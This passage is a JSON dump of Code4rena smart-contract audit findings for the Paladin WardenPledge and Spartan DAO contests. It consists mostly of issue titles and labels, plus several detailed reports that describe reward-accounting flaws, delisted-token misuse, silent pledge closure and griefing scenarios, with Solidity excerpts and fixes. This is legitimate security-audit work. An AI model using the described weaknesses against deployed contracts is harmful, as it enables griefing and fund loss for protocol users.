"https://github.com/code-423n4/2022-10-paladin-findings/issues/266", "labels": ["bug", "disagree with severity", "downgraded by judge", "QA (Quality Assurance)", "grade-b", "Q-65"], "target": "2022-10-paladin-findings", "body": "[M2] Zero protocol fee can prevent users to extendPledge for some tokens"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/264", "labels": ["bug", "QA (Quality Assurance)", "grade-a", "Q-64"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/263", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-44"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/262", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-63"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/254", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-43"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/251", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-62"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/250", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-61"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/246", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-60"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/245", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-42"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "Fee-on-transfer tokens cause wrong accounting or brick some functions", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/244", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "grade-b", "Q-59"], "target": "2022-10-paladin-findings", "body": "Fee-on-transfer tokens cause wrong accounting or brick some functions"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/243", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-41"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/241", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-40"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/240", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-58"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/239", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-57"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/237", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-56"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": " Fees charged from entire theoretical pledge amount instead of actual pledge amount", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/235", "labels": ["bug", "2 (Med Risk)", "primary issue", "satisfactory", "sponsor acknowledged", "selected for report", "M-07"], "target": "2022-10-paladin-findings", "body": " Fees charged from entire theoretical pledge amount instead of actual pledge amount"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/231", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-55"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/230", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-54"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/228", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "grade-b", "G-39"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/225", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-38"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/224", "labels": ["bug", "high quality report", "QA (Quality Assurance)", "grade-b", "Q-53"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/223", "labels": ["bug", "G (Gas Optimization)", "high quality report", "grade-a", "selected for report", "G-37"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/221", "labels": ["bug", "G (Gas Optimization)", "grade-a", "G-36"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "Protocol doesn't work with fee-on-transfer tokens", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/220", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "grade-b", "Q-52"], "target": "2022-10-paladin-findings", "body": "Protocol doesn't work with fee-on-transfer tokens"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/215", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-35"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/213", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-34"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/212", "labels": ["bug", "high quality report", "QA (Quality Assurance)", "grade-a", "selected for report", "Q-51"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/211", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-50"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/210", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-33"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/209", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-49"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/208", "labels": ["bug", "G (Gas Optimization)", "grade-a", "G-32"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/204", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-48"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/202", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-31"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/198", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-30"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/192", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-47"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/190", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-46"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/189", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-b", "Q-45"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/187", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-b", "Q-44"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/185", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-29"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/178", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-43"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/177", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-28"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/174", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-27"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/173", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-42"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/172", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-26"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/168", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-41"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Reward can be over- or undercounted in `extendPledge` and `increasePledgeRewardPerVote`", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/163", "labels": ["bug", "2 (Med Risk)", "primary issue", "satisfactory", "sponsor confirmed", "selected for report", "M-06"], "target": "2022-10-paladin-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-paladin/blob/d6d0c0e57ad80f15e9691086c9c7270d4ccfe0e6/contracts/WardenPledge.sol#L387 https://github.com/code-423n4/2022-10-paladin/blob/d6d0c0e57ad80f15e9691086c9c7270d4ccfe0e6/contracts/WardenPledge.sol#L432 # Vulnerability details ## Impact Total reward amount in `extendPledge` and `increasePledgeRewardPerVote` can be calculated incorrectly due to cached `pledgeParams.votesDifference`, which can lead to two outcomes: 1. total reward amount is higher, thus a portion of it won't be claimable; 1. total reward amount is lower, thus the pledge target won't be reached. ## Proof of Concept When a pledge is created, the creator chooses the target\u2013the total amount of votes they want to reach with the pledge. Based on a target, the number of missing votes is calculated, which is then used to calculated the total reward amount ([WardenPledge.sol#L325-L327](https://github.com/code-423n4/2022-10-paladin/blob/d6d0c0e57ad80f15e9691086c9c7270d4ccfe0e6/contracts/WardenPledge.sol#L325-L327)): ```solidity function createPledge( address receiver, address rewardToken, uint256 targetVotes, uint256 rewardPerVote, // reward/veToken/second uint256 endTimestamp, uint256 maxTotalRewardAmount, uint256 maxFeeAmount ) external whenNotPaused nonReentrant returns(uint256){ ... // Get the missing votes for the given receiver to reach the target votes // We ignore any delegated boost here because they might expire during the Pledge duration // (we can have a future version of this contract using adjusted_balance) vars.votesDifference = targetVotes - votingEscrow.balanceOf(receiver); vars.totalRewardAmount = (rewardPerVote * vars.votesDifference * vars.duration) / UNIT; ... } ``` When extending a pledge or increasing a pledge reward per vote, current veToken balance of the pledge's receiver (`votingEscrow.balanceOf(receiver)`) can be different from the one it had when the pledge was created (e.g. the receiver managed to lock more CRV or some of locked tokens have expired). However `pledgeParams.votesDifference` is not recalculated ([WardenPledge.sol#L387](https://github.com/code-423n4/2022-10-paladin/blob/d6d0c0e57ad80f15e9691086c9c7270d4ccfe0e6/contracts/WardenPledge.sol#L387), [WardenPledge.sol#L432](https://github.com/code-423n4/2022-10-paladin/blob/d6d0c0e57ad80f15e9691086c9c7270d4ccfe0e6/contracts/WardenPledge.sol#L432)): ```solidity function extendPledge( uint256 pledgeId, uint256 newEndTimestamp, uint256 maxTotalRewardAmount, uint256 maxFeeAmount ) external whenNotPaused nonReentrant { ... Pledge storage pledgeParams = pledges[pledgeId]; ... uint256 totalRewardAmount = (pledgeParams.rewardPerVote * pledgeParams.votesDifference * addedDuration) / UNIT; ... } function increasePledgeRewardPerVote( uint256 pledgeId, uint256 newRewardPerVote, uint256 maxTotalRewardAmount, uint256 maxFeeAmount ) external whenNotPaused nonReentrant { ... Pledge storage pledgeParams = pledges[pledgeId]; ... uint256 totalRewardAmount = (rewardPerVoteDiff * pledgeParams.votesDifference * remainingDuration) / UNIT; ... } ``` This can lead to two consequences: 1. When receiver's veToken balance has increased (i.e. `votesDifference` got in fact smaller), pledge creator will overpay for pledge extension and pledge reward per vote increase. This extra reward cannot be received by pledgers because a receiver cannot get more votes than `pledgeParams.targetVotes` (which is not updated when modifying a pledge): ```solidity function _pledge(uint256 pledgeId, address user, uint256 amount, uint256 endTimestamp) internal { ... // Check that this will not go over the Pledge target of votes if(delegationBoost.adjusted_balance_of(pledgeParams.receiver) + amount > pledgeParams.targetVotes) revert Errors.TargetVotesOverflow(); ... } ``` 1. When receiver's veToken balance has decreased (i.e. `votesDifference` got in fact bigger), the pledge target cannot be reached because the reward amount was underpaid in `extendPledge`/`increasePledgeRewardPerVote`. ## Tools Used Manual review ## Recommended Mitigation Steps Consider updating `votesDifference` when extending a pledge or increasing a pledge reward per vote."}, {"title": "WardenPledge accidentally inherits Ownable instead of Owner which removes an important safeguard without sponsor knowledge", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/161", "labels": ["bug", "2 (Med Risk)", "primary issue", "satisfactory", "selected for report", "M-05"], "target": "2022-10-paladin-findings", "body": "WardenPledge accidentally inherits Ownable instead of Owner which removes an important safeguard without sponsor knowledge"}, {"title": "Setting protocol fee to 0 will break reward tokens that don't support 0 transfers ", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/156", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "grade-b", "Q-40"], "target": "2022-10-paladin-findings", "body": "Setting protocol fee to 0 will break reward tokens that don't support 0 transfers "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/155", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "grade-b", "G-25"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/152", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-24"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/151", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-39"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/146", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-23"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "Pledges that contain delisted tokens can be extended to continue using delisted reward tokens", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/145", "labels": ["bug", "2 (Med Risk)", "primary issue", "satisfactory", "sponsor confirmed", "selected for report", "M-04"], "target": "2022-10-paladin-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-paladin/blob/d6d0c0e57ad80f15e9691086c9c7270d4ccfe0e6/contracts/WardenPledge.sol#L368-L404 # Vulnerability details ## Impact Delisted reward tokens can continue to be use by extending current pledges that already use it ## Proof of Concept if(pledgeId >= pledgesIndex()) revert Errors.InvalidPledgeID(); address creator = pledgeOwner[pledgeId]; if(msg.sender != creator) revert Errors.NotPledgeCreator(); Pledge storage pledgeParams = pledges[pledgeId]; if(pledgeParams.closed) revert Errors.PledgeClosed(); if(pledgeParams.endTimestamp <= block.timestamp) revert Errors.ExpiredPledge(); if(newEndTimestamp == 0) revert Errors.NullEndTimestamp(); uint256 oldEndTimestamp = pledgeParams.endTimestamp; if(newEndTimestamp != _getRoundedTimestamp(newEndTimestamp) || newEndTimestamp < oldEndTimestamp) revert Errors.InvalidEndTimestamp(); uint256 addedDuration = newEndTimestamp - oldEndTimestamp; if(addedDuration < minDelegationTime) revert Errors.DurationTooShort(); uint256 totalRewardAmount = (pledgeParams.rewardPerVote * pledgeParams.votesDifference * addedDuration) / UNIT; uint256 feeAmount = (totalRewardAmount * protocalFeeRatio) / MAX_PCT ; if(totalRewardAmount > maxTotalRewardAmount) revert Errors.IncorrectMaxTotalRewardAmount(); if(feeAmount > maxFeeAmount) revert Errors.IncorrectMaxFeeAmount(); During the input validation checks, it's never checked that reward token of the pledge being extended is still a valid reward token. This would allow creators using delisted tokens to continue using them as long as they wanted, by simply extending their currently active pledges. ## Tools Used Manual Review ## Recommended Mitigation Steps Add the following check during the input validation block: + if(minAmountRewardToken[rewardToken] == 0) revert Errors.TokenNotWhitelisted();"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/140", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-38"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/138", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-37"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/137", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-22"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/136", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-36"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/135", "labels": ["bug", "G (Gas Optimization)", "high quality report", "grade-a", "G-21"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "User who pledge can loose their boost and receive no reward without any warning.", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/134", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "grade-b", "Q-35"], "target": "2022-10-paladin-findings", "body": "User who pledge can loose their boost and receive no reward without any warning."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/132", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-b", "Q-34"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/129", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-33"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/128", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-20"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/127", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-19"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "ClosePledge() event is not emitted when setting the Pledge as closed.", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/125", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "grade-b", "Q-32"], "target": "2022-10-paladin-findings", "body": "ClosePledge() event is not emitted when setting the Pledge as closed."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/124", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-18"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/123", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-b", "Q-31"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/122", "labels": ["bug", "QA (Quality Assurance)", "grade-a", "Q-30"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/121", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-17"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/119", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-16"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/115", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-a", "Q-29"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Pledge can be silently closed by calling retrievePledgeRewards.", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/111", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "satisfactory", "sponsor confirmed", "edited-by-warden", "grade-b", "Q-28"], "target": "2022-10-paladin-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-paladin/blob/main/contracts/WardenPledge.sol#L451-L452 https://github.com/code-423n4/2022-10-paladin/blob/main/contracts/WardenPledge.sol#L469 # Vulnerability details ## Impact Pledge can be silently closed by calling retrievePledgeRewards. ## Proof of Concept The comments for `retrievePledgeRewards` says: https://github.com/code-423n4/2022-10-paladin/blob/main/contracts/WardenPledge.sol#L451-L452 ``` /** * @notice Retrieves all non distributed rewards from a closed Pledge * @dev Retrieves all non distributed rewards from a closed Pledge & send them to the given receiver * @param pledgeId ID fo the Pledge * @param receiver Address to receive the remaining rewards */ ``` There's no line of code in `retrievePledgeRewards` method to ensure the pledge is indeed closed, instead the pledge is set to `closed` state if it is not closed. https://github.com/code-423n4/2022-10-paladin/blob/main/contracts/WardenPledge.sol#L469 ```solidity if(!pledgeParams.closed) pledgeParams.closed = true; ``` This implementation doesn't follow the sepc and the pledge is closed silently(without triggering the `ClosePledge` event) if the pledge is not closed, which could lead to the pledge creator unexpectedly close the pledge that he doesn't intend to. ## Tools Used manual review ## Recommended Mitigation Steps `retrievePledgeRewards` can only retrieve distribution rewards from a closed pledge. ```solidity function retrievePledgeRewards(uint256 pledgeId, address receiver) external whenNotPaused nonReentrant { ...... // Get the current remaining amount of rewards not distributed for the Pledge uint256 remainingAmount = pledgeAvailableRewardAmounts[pledgeId]; if (!pledgeParams.closed) revert Errors.PledgeNotClosed(); if(remainingAmount > 0) { // Transfer the non used rewards and reset storage pledgeAvailableRewardAmounts[pledgeId] = 0; IERC20(pledgeParams.rewardToken).safeTransfer(receiver, remainingAmount); emit RetrievedPledgeRewards(pledgeId, receiver, remainingAmount); } } ```"}, {"title": "Lack of minimum pledge time requirement", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/110", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "sponsor confirmed", "grade-a", "Q-27"], "target": "2022-10-paladin-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-paladin/blob/d6d0c0e57ad80f15e9691086c9c7270d4ccfe0e6/contracts/WardenPledge.sol#L233-L237 # Vulnerability details ## Impact The `_pledge()` function contains checks ensuring that the `endTimestamp` is not greater than the `pledgeParams.endTimestamp` and that `endTimestamp` is rounded to the week, but it does not check that `endTimestamp` is larger than some minimum pledge time. Currently, an \"attacker\" or griefer can pledge a large amount for a small amount of time. They can pledge for a length of time where the receiver may not even have enough time to submit a transaction to take advantage of the boost. This most likely will not provide a large monetary incentive to the attacker, but the pledge creator's reward funds will be paid out for no reason. ## Proof of Concept - A malicious actor realizes that the week timestamp is approaching in 10 minutes. - They pledge a large amount of points to the pledge creator with the `endTimestamp` equal to the upcoming week timestamp (10 minutes away). - The receiver doesn't feasibly have enough time to act while the boost is active. - The malicious actor receives some reward without providing any benefit to the receiver. ## Tools Used ## Recommended Mitigation Steps Add a check for `MIN_PLEDGE_TIME`, a constant equal to a value that makes sense, e.g. 86400 (1 day)."}, {"title": "Contract doesn't support fee-on-transfer tokens", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/108", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "grade-b", "Q-26"], "target": "2022-10-paladin-findings", "body": "Contract doesn't support fee-on-transfer tokens"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/107", "labels": ["bug", "QA (Quality Assurance)", "grade-a", "Q-25"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/104", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-15"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}] \ No newline at end of file diff --git a/results/codearena_findings_3.json b/results/codearena_findings_3.json new file mode 100644 index 0000000..35a8f8d --- /dev/null +++ b/results/codearena_findings_3.json @@ -0,0 +1 @@ +[{"title": "Attackers can grief voting by removing votes just before finalization", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/105", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Attackers can grief voting by removing votes just before finalization"}, {"title": "Event log poisoning by griefing attackers", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/104", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Event log poisoning is possible by griefing attackers who have no DAO weight but vote and emit event that takes up event log space. ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Dao.sol#L382 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Dao.sol#L393 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Emit event only if non-zero weight as relevant to proposal voting/cancelling. "}, {"title": "Deflationary assets are not handled uniformly across the protocol", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/101", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The DAO codebase not handle deflationary asset tokens. However, this is handled in similar _handleTransferIn functions of Router and poolFactory which indicates that protocol allows/anticipates listing of deflationary tokens which require a start balance check/subtraction before and after transfers to account for the actual amount transferred instead of taking the face-value amount from the parameter without considering any transfer fees imposed by the token contract. Rationale for Medium severity: This is typically a low-severity finding in protocols that uniformly do not handle deflationary/inflationary/rebasing tokens because they either whitelist-away such tokens or do not anticipate handling them (by documenting and warning users) in their protocols. Spartan however has code indicative of expecting/handling deflationary tokens in Router and poolFactory but is missing similar special handling in DAO which is a case of missed handling and so is more serious because it leads to mis-accounting and potential fund loss in different parts of the protocol code. ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Dao.sol#L266 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Router.sol#L206-L208 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/poolFactory.sol#L111-L113 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add code similar to Router and poolFactory to handle deflationary tokens in DAO. "}, {"title": "Max approvals are risky", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/100", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Max approvals are risky"}, {"title": "Unused membership logic", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/99", "labels": ["bug", "invalid", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Unused membership logic"}, {"title": "Address confusion causes incorrect accounting of user\u2019s harvest rewards", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/97", "labels": ["bug", "invalid", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Address confusion causes incorrect accounting of user\u2019s harvest rewards"}, {"title": "Purging DAO deployer immediately in a single-step is risky", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/96", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Purging DAO deployer immediately in a single-step is risky"}, {"title": "Type mismatch between parameters of setGenesisFactors() and state variables", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/95", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The state variables corresponding to setGenesisFactors() parameters _coolOff, _daysToEarn, _majorityFactor, _daoClaim and_daoFee are declared to be uint256 but are set using these parameters that are uint32. While it\u2019s unlikely that these will need values > uint32, this leads to wastage of storage 